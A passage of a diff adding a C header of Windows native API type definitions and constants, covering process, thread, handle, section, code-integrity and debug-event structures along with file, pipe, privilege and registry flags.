diagnostic pop) +#else +#define RTL_CONSTANT_STRING(s) { sizeof(s) - sizeof((s)[0]), sizeof(s), (PWSTR)s } +#define RTL_CONSTANT_ANSI_STRING(s) { sizeof(s) - sizeof((s)[0]), sizeof(s), (PSTR)s } +#endif + +FORCEINLINE +VOID +RtlInitEmptyUnicodeString( + _Out_ PUNICODE_STRING UnicodeString, + _In_ PWCHAR Buffer, + _In_ USHORT BufferSize) +{ + UnicodeString->Length = 0; + UnicodeString->MaximumLength = BufferSize; + UnicodeString->Buffer = Buffer; +} + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING, *PSTRING, ANSI_STRING, *PANSI_STRING, OEM_STRING, *POEM_STRING; + +typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION +{ + ULONG SessionId; + ULONG SizeOfBuf; + PVOID Buffer; +} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION +{ + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX +{ + BOOLEAN DebuggerAllowed; + BOOLEAN DebuggerEnabled; + BOOLEAN DebuggerPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION_EX; + +typedef struct _LDT_INFORMATION +{ + ULONG Start; + ULONG Length; + LDT_ENTRY LdtEntries[1]; +} PROCESS_LDT_INFORMATION, *PPROCESS_LDT_INFORMATION; + +typedef struct _KERNEL_USER_TIMES +{ + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES, *PKERNEL_USER_TIMES; + +typedef struct _SYSTEM_THREAD_INFORMATION +{ + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + ULONG ThreadState; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; // Since Vista + ULONG HardFaultCount; // Since Windows 7 + ULONG NumberOfThreadsHighWatermark; // Since Windows 7 + ULONGLONG CycleTime; // Since Windows 7 + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; // Since Vista (requires SystemExtendedProcessInformation) + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation + // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation + // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +typedef struct _PROCESS_SESSION_INFORMATION +{ + ULONG SessionId; +} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION; + +// File attribute values +#define FILE_ATTRIBUTE_READONLY 0x00000001 +#define FILE_ATTRIBUTE_HIDDEN 0x00000002 +#define FILE_ATTRIBUTE_SYSTEM 0x00000004 + +#define FILE_ATTRIBUTE_DIRECTORY 0x00000010 +#define FILE_ATTRIBUTE_ARCHIVE 0x00000020 +#define FILE_ATTRIBUTE_DEVICE 0x00000040 +#define FILE_ATTRIBUTE_NORMAL 0x00000080 + +#define FILE_ATTRIBUTE_TEMPORARY 0x00000100 +#define FILE_ATTRIBUTE_SPARSE_FILE 0x00000200 +#define FILE_ATTRIBUTE_REPARSE_POINT 0x00000400 +#define FILE_ATTRIBUTE_COMPRESSED 0x00000800 + +#define FILE_ATTRIBUTE_OFFLINE 0x00001000 +#define FILE_ATTRIBUTE_NOT_CONTENT_INDEXED 0x00002000 +#define FILE_ATTRIBUTE_ENCRYPTED 0x00004000 + +#define FILE_ATTRIBUTE_INTEGRITY_STREAM 0x00008000 +#define FILE_ATTRIBUTE_VIRTUAL 0x00010000 +#define FILE_ATTRIBUTE_NO_SCRUB_DATA 0x00020000 + +#define FILE_ATTRIBUTE_EA 0x00040000 +#define FILE_ATTRIBUTE_PINNED 0x00080000 +#define FILE_ATTRIBUTE_UNPINNED 0x00100000 +#define FILE_ATTRIBUTE_RECALL_ON_OPEN 0x00040000 +#define FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS 0x00400000 + +#if NTDDI_VERSION < NTDDI_WIN8 +#define FILE_ATTRIBUTE_VALID_FLAGS 0x00007fb7 +#define FILE_ATTRIBUTE_VALID_SET_FLAGS 0x000031a7 +#elif NTDDI_VERSION < NTDDI_WIN10_RS2 +#define FILE_ATTRIBUTE_VALID_FLAGS 0x0002ffb7 +#define FILE_ATTRIBUTE_VALID_SET_FLAGS 0x000231a7 +#else +#define FILE_ATTRIBUTE_VALID_FLAGS 0x005affb7 +#define FILE_ATTRIBUTE_VALID_SET_FLAGS 0x001a31a7 +#endif + +// File create disposition values +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +// File create/open option flags +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#if NTDDI_VERSION >= NTDDI_WIN7 +#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 +#define FILE_DISALLOW_EXCLUSIVE 0x00020000 +#endif +#if NTDDI_VERSION >= NTDDI_WIN8 +#define FILE_SESSION_AWARE 0x00040000 +#endif + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +// Named pipe type flags +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 +#define FILE_PIPE_ACCEPT_REMOTE_CLIENTS 0x00000000 +#define FILE_PIPE_REJECT_REMOTE_CLIENTS 0x00000002 +#define FILE_PIPE_TYPE_VALID_MASK 0x00000003 + +// Named pipe completion mode flags +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// Named pipe read mode flags +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// NamedPipeConfiguration flags +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// NamedPipeState flags +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// NamedPipeEnd flags +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION { + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION +{ + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + +// Privileges +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +typedef struct _THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PVOID TebBaseAddress; + CLIENT_ID ClientId; + ULONG_PTR AffinityMask; + KPRIORITY Priority; + LONG BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + +typedef struct _MEMORY_REGION_INFORMATION +{ + PVOID AllocationBase; + ULONG AllocationProtect; + union + { + ULONG RegionType; + struct + { + ULONG Private : 1; + ULONG MappedDataFile : 1; + ULONG MappedImage : 1; + ULONG MappedPageFile : 1; + ULONG MappedPhysical : 1; + ULONG DirectMapped : 1; + ULONG SoftwareEnclave : 1; //REDSTONE3 + ULONG PageSize64K : 1; + ULONG Reserved : 24; + } s; + } u; + SIZE_T RegionSize; + SIZE_T CommitSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +typedef struct _MEMORY_IMAGE_INFORMATION +{ + PVOID ImageBase; + SIZE_T SizeOfImage; + union + { + ULONG ImageFlags; + struct + { + ULONG ImagePartialMap : 1; + ULONG ImageNotExecutable : 1; + ULONG ImageSigningLevel : 1; // REDSTONE3 + ULONG Reserved : 30; + } s1; + } u1; +} MEMORY_IMAGE_INFORMATION, *PMEMORY_IMAGE_INFORMATION; + +typedef struct _SECTION_BASIC_INFORMATION +{ + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION +{ + PVOID TransferAddress; // Entry point + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union + { + struct + { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + } s1; + ULONG SubSystemVersion; + } u1; + union + { + struct + { + USHORT MajorOperatingSystemVersion; + USHORT MinorOperatingSystemVersion; + } s2; + ULONG OperatingSystemVersion; + } u2; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + UCHAR ComPlusNativeReady : 1; + UCHAR ComPlusILOnly : 1; + UCHAR ImageDynamicallyRelocated : 1; + UCHAR ImageMappedFlat : 1; + UCHAR BaseBelow4gb : 1; + UCHAR ComPlusPrefer32bit : 1; + UCHAR Reserved : 2; + } s3; + } u3; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_INTERNAL_IMAGE_INFORMATION +{ + SECTION_IMAGE_INFORMATION SectionInformation; + union + { + ULONG ExtendedFlags; + struct + { + ULONG ImageExportSuppressionEnabled : 1; + ULONG Reserved : 31; + } s; + } u; +} SECTION_INTERNAL_IMAGE_INFORMATION, *PSECTION_INTERNAL_IMAGE_INFORMATION; + +typedef struct _IMAGE_INFO +{ + union + { + ULONG Properties; + struct + { + ULONG ImageAddressingMode : 8; // Code addressing mode + ULONG SystemModeImage : 1; // System mode image + ULONG ImageMappedToAllPids : 1; // Image mapped into all processes + ULONG ExtendedInfoPresent : 1; // IMAGE_INFO_EX available + ULONG MachineTypeMismatch : 1; // Architecture type mismatch + ULONG ImageSignatureLevel : 4; // Signature level + ULONG ImageSignatureType : 3; // Signature type + ULONG ImagePartialMap : 1; // Nonzero if entire image is not mapped + ULONG Reserved : 12; + } s1; + } u1; + PVOID ImageBase; + ULONG ImageSelector; + SIZE_T ImageSize; + ULONG ImageSectionNumber; +} IMAGE_INFO, *PIMAGE_INFO; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 + +#define LDR_GET_PROCEDURE_ADDRESS_EX_DONT_RECORD_FORWARDER 0x00000001 + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +typedef struct _LDR_RESOURCE_INFO +{ + ULONG_PTR Type; + ULONG_PTR Name; + ULONG_PTR Language; +} LDR_RESOURCE_INFO, *PLDR_RESOURCE_INFO; + +typedef struct _LDR_ENUM_RESOURCE_INFO +{ + ULONG_PTR Type; + ULONG_PTR Name; + ULONG_PTR Language; + PVOID Data; + SIZE_T Size; + ULONG_PTR Reserved; +} LDR_ENUM_RESOURCE_INFO, *PLDR_ENUM_RESOURCE_INFO; + +#define LDR_FIND_RESOURCE_LANGUAGE_CAN_FALLBACK 0x00000000 +#define LDR_FIND_RESOURCE_LANGUAGE_EXACT 0x00000004 +#define LDR_FIND_RESOURCE_LANGUAGE_REDIRECT_VERSION 0x00000008 + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX +{ + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; + +typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION +{ + ULONG Length; + ULONG CodeIntegrityOptions; +} SYSTEM_CODEINTEGRITY_INFORMATION, *PSYSTEM_CODEINTEGRITY_INFORMATION; + +#define CODEINTEGRITY_OPTION_ENABLED 0x1 +#define CODEINTEGRITY_OPTION_TESTSIGN 0x2 +#define CODEINTEGRITY_OPTION_UMCI_ENABLED 0x4 +#define CODEINTEGRITY_OPTION_UMCI_AUDITMODE_ENABLED 0x8 +#define CODEINTEGRITY_OPTION_UMCI_EXCLUSIONPATHS_ENABLED 0x10 +#define CODEINTEGRITY_OPTION_TEST_BUILD 0x20 +#define CODEINTEGRITY_OPTION_PREPRODUCTION_BUILD 0x40 +#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x80 +#define CODEINTEGRITY_OPTION_FLIGHT_BUILD 0x100 +#define CODEINTEGRITY_OPTION_FLIGHTING_ENABLED 0x200 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x400 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_AUDITMODE_ENABLED 0x800 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED 0x1000 +#define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED 0x2000 + +#if NTDDI_VERSION >= NTDDI_VISTA +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION +{ + GUID BootIdentifier; + FIRMWARE_TYPE FirmwareType; + ULONGLONG BootFlags; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; +#endif + +typedef struct _SYSTEM_CODEINTEGRITYPOLICY_INFORMATION +{ + ULONG Options; + ULONG HVCIOptions; + ULONGLONG Version; + GUID PolicyGuid; +} SYSTEM_CODEINTEGRITYPOLICY_INFORMATION, *PSYSTEM_CODEINTEGRITYPOLICY_INFORMATION; + +typedef struct _SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION +{ + HANDLE ImageFile; +} SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION, *PSYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION; + +typedef struct _SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG Locked : 1; + ULONG Unlockable : 1; + ULONG UnlockApplied : 1; + ULONG Reserved : 29; + } s1; + } u1; +} SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION, *PSYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION; + +typedef +NTSTATUS +NTAPI +RTL_QUERY_REGISTRY_ROUTINE( + _In_z_ PWSTR ValueName, + _In_ ULONG ValueType, + _In_opt_ PVOID ValueData, + _In_ ULONG ValueLength, + _In_opt_ PVOID Context, + _In_opt_ PVOID EntryContext + ); +typedef RTL_QUERY_REGISTRY_ROUTINE *PRTL_QUERY_REGISTRY_ROUTINE; + +typedef struct _RTL_QUERY_REGISTRY_TABLE +{ + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + +// RtlQueryRegistryValues flags +#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 +#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 +#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 +#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 +#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 +#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 +#define RTL_QUERY_REGISTRY_DELETE 0x00000040 +#define RTL_QUERY_REGISTRY_NOSTRING 0x00000080 +#define RTL_QUERY_REGISTRY_TYPECHECK 0x00000100 + +#define RTL_QUERY_REGISTRY_TYPECHECK_SHIFT 24 +#define RTL_QUERY_REGISTRY_TYPECHECK_MASK (0xff << RTL_QUERY_REGISTRY_TYPECHECK_SHIFT) + +// RtlWriteRegistryValue RelativeTo values +#define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path +#define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services +#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control +#define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion +#define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap +#define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser +#define RTL_REGISTRY_MAXIMUM 6 +#define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle +#define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional + +typedef struct _PROCESS_HANDLE_INFORMATION +{ + ULONG HandleCount; + ULONG HandleCountHighWatermark; +} PROCESS_HANDLE_INFORMATION, *PPROCESS_HANDLE_INFORMATION; + +#if NTDDI_VERSION >= NTDDI_VISTA +typedef struct _PROCESS_MITIGATION_POLICY_INFORMATION +{ + PROCESS_MITIGATION_POLICY Policy; + union + { + PROCESS_MITIGATION_ASLR_POLICY ASLRPolicy; + PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY StrictHandleCheckPolicy; + PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY SystemCallDisablePolicy; + PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY ExtensionPointDisablePolicy; + PROCESS_MITIGATION_DYNAMIC_CODE_POLICY DynamicCodePolicy; + PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY ControlFlowGuardPolicy; + PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY SignaturePolicy; + PROCESS_MITIGATION_FONT_DISABLE_POLICY FontDisablePolicy; + PROCESS_MITIGATION_IMAGE_LOAD_POLICY ImageLoadPolicy; + PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY SystemCallFilterPolicy; + PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY PayloadRestrictionPolicy; + PROCESS_MITIGATION_CHILD_PROCESS_POLICY ChildProcessPolicy; + }; +} PROCESS_MITIGATION_POLICY_INFORMATION, *PPROCESS_MITIGATION_POLICY_INFORMATION; +#endif + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _OBJECT_BASIC_INFORMATION +{ + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[ 3 ]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +typedef struct _OBJECT_NAME_INFORMATION +{ + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + UCHAR TypeIndex; // Since Windows 8.1 + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +typedef struct _DBGKM_EXCEPTION +{ + EXCEPTION_RECORD ExceptionRecord; + ULONG FirstChance; +} DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; + +typedef struct _DBGKM_CREATE_THREAD +{ + ULONG SubSystemKey; + PVOID StartAddress; +} DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; + +typedef struct _DBGKM_CREATE_PROCESS +{ + ULONG SubSystemKey; + HANDLE FileHandle; + PVOID BaseOfImage; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + DBGKM_CREATE_THREAD InitialThread; +} DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; + +typedef struct _DBGKM_EXIT_THREAD +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; + +typedef struct _DBGKM_EXIT_PROCESS +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; + +typedef struct _DBGKM_LOAD_DLL +{ + HANDLE FileHandle; + PVOID BaseOfDll; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + PVOID NamePointer; +} DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; + +typedef struct _DBGKM_UNLOAD_DLL +{ + PVOID BaseAddress; +} 